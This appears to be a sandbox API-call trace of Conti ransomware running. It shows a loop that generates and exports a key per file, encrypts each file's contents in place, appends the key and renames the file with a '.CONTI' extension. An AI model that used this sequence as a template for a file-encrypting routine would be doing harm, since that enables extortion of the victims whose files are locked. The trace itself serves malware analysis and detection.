	[0114.845] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x822, lpOverlapped=0x0) returned 1
	[0114.845] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x822, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x830) returned 1
	[0114.845] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.845] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x830, lpOverlapped=0x0) returned 1
	[0114.845] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.845] WriteFile (in: hFile=0x320, lpBuffer=0x65d7738*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65d7738*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.845] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.845] CloseHandle (hObject=0x320) returned 1
	[0114.845] GetProcessHeap () returned 0x1720000
	[0114.845] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.845] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml"
	[0114.846] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.CONTI"
	[0114.846] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml.conti")) returned 1
	[0114.846] GetProcessHeap () returned 0x1720000
	[0114.846] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.846] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.846] GetProcessHeap () returned 0x1720000
	[0114.846] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181a330 | out: hHeap=0x1720000) returned 1
	[0114.846] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.846] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d42c8 | out: phKey=0x65d42c8*=0x6b7f1b8) returned 1
	[0114.846] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d42cc, pdwDataLen=0x447fe94 | out: pbData=0x65d42cc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.847] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml")) returned 0x20
	[0114.847] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0114.848] GetLastError () returned 0x0
	[0114.848] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=2367) returned 1
	[0114.848] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x93f
	[0114.848] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.848] SetEndOfFile (hFile=0x320) returned 1
	[0114.848] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.848] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.848] WriteFile (in: hFile=0x320, lpBuffer=0x65d42cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d42cc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.850] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.850] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x93f, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x93f, lpOverlapped=0x0) returned 1
	[0114.850] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x93f, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x940) returned 1
	[0114.850] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.850] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x940, lpOverlapped=0x0) returned 1
	[0114.850] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.850] WriteFile (in: hFile=0x320, lpBuffer=0x65d42c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65d42c0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.850] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.850] CloseHandle (hObject=0x320) returned 1
	[0114.850] GetProcessHeap () returned 0x1720000
	[0114.850] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.850] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml"
	[0114.850] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.CONTI"
	[0114.850] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml.conti")) returned 1
	[0114.851] GetProcessHeap () returned 0x1720000
	[0114.851] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.851] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.851] GetProcessHeap () returned 0x1720000
	[0114.851] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb768 | out: hHeap=0x1720000) returned 1
	[0114.851] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.851] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d4758 | out: phKey=0x65d4758*=0x6b7f1b8) returned 1
	[0114.851] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d475c, pdwDataLen=0x447fe94 | out: pbData=0x65d475c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.852] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml")) returned 0x20
	[0114.852] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0114.852] GetLastError () returned 0x0
	[0114.852] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=2376) returned 1
	[0114.852] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x948
	[0114.852] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.852] SetEndOfFile (hFile=0x320) returned 1
	[0114.853] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.853] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.853] WriteFile (in: hFile=0x320, lpBuffer=0x65d475c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d475c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.854] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.854] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x948, lpOverlapped=0x0) returned 1
	[0114.854] CryptEncrypt (in: hKey=0x6b7f1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x948, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x950) returned 1
	[0114.855] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.855] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x950, lpOverlapped=0x0) returned 1
	[0114.855] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.855] WriteFile (in: hFile=0x320, lpBuffer=0x65d4750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65d4750*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.855] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.855] CloseHandle (hObject=0x320) returned 1
	[0114.855] GetProcessHeap () returned 0x1720000
	[0114.855] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.855] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml"
	[0114.855] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.CONTI"
	[0114.855] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime.xml.conti")) returned 1
	[0114.856] GetProcessHeap () returned 0x1720000
	[0114.856] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.856] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.856] GetProcessHeap () returned 0x1720000
	[0114.856] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511a40 | out: hHeap=0x1720000) returned 1
	[0114.856] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.856] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d32d0 | out: phKey=0x65d32d0*=0x6b7f2b8) returned 1
	[0114.856] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d32d4, pdwDataLen=0x447fe94 | out: pbData=0x65d32d4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.857] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows")) returned 0x2010
	[0114.857] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\windows"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.858] GetLastError () returned 0x5
	[0114.858] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.858] GetProcessHeap () returned 0x1720000
	[0114.858] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7adc0 | out: hHeap=0x1720000) returned 1
	[0114.858] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.858] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d3760 | out: phKey=0x65d3760*=0x6b7f1b8) returned 1
	[0114.858] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d3764, pdwDataLen=0x447fe94 | out: pbData=0x65d3764*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.858] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp")) returned 0x2010
	[0114.862] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.862] GetLastError () returned 0x5
	[0114.862] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.862] GetProcessHeap () returned 0x1720000
	[0114.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7e4c8 | out: hHeap=0x1720000) returned 1
	[0114.863] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.863] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d3bf0 | out: phKey=0x65d3bf0*=0x6b7f4f8) returned 1
	[0114.863] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d3bf4, pdwDataLen=0x447fe94 | out: pbData=0x65d3bf4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.863] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk")) returned 0x20
	[0114.865] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.865] GetLastError () returned 0x5
	[0114.865] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0114.865] GetProcessHeap () returned 0x1720000
	[0114.865] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740b68 | out: hHeap=0x1720000) returned 1
	[0114.865] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.865] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d5750 | out: phKey=0x65d5750*=0x6b7f1b8) returned 1
	[0114.865] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d5754, pdwDataLen=0x447fe94 | out: pbData=0x65d5754*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.866] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log")) returned 0x20
	[0114.866] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.866] GetLastError () returned 0x5
	[0114.866] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.866] GetProcessHeap () returned 0x1720000
	[0114.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17404d8 | out: hHeap=0x1720000) returned 1
	[0114.866] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.866] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65da298 | out: phKey=0x65da298*=0x6b7f1b8) returned 1
	[0114.866] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da29c, pdwDataLen=0x447fe94 | out: pbData=0x65da29c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.867] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log")) returned 0x20
	[0114.867] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edb00002.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.867] GetLastError () returned 0x5
	[0114.867] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.868] GetProcessHeap () returned 0x1720000
	[0114.868] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bf90 | out: hHeap=0x1720000) returned 1
	[0114.868] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.868] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d84f0 | out: phKey=0x65d84f0*=0x6b7f1b8) returned 1
	[0114.868] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d84f4, pdwDataLen=0x447fe94 | out: pbData=0x65d84f4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.868] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs")) returned 0x20
	[0114.869] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.869] GetLastError () returned 0x5
	[0114.869] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.869] GetProcessHeap () returned 0x1720000
	[0114.869] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bc60 | out: hHeap=0x1720000) returned 1
	[0114.869] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.869] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d8e10 | out: phKey=0x65d8e10*=0x6b7f1b8) returned 1
	[0114.869] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8e14, pdwDataLen=0x447fe94 | out: pbData=0x65d8e14*, pdwDataLen=0x447fe94*=0x20c) returned 1
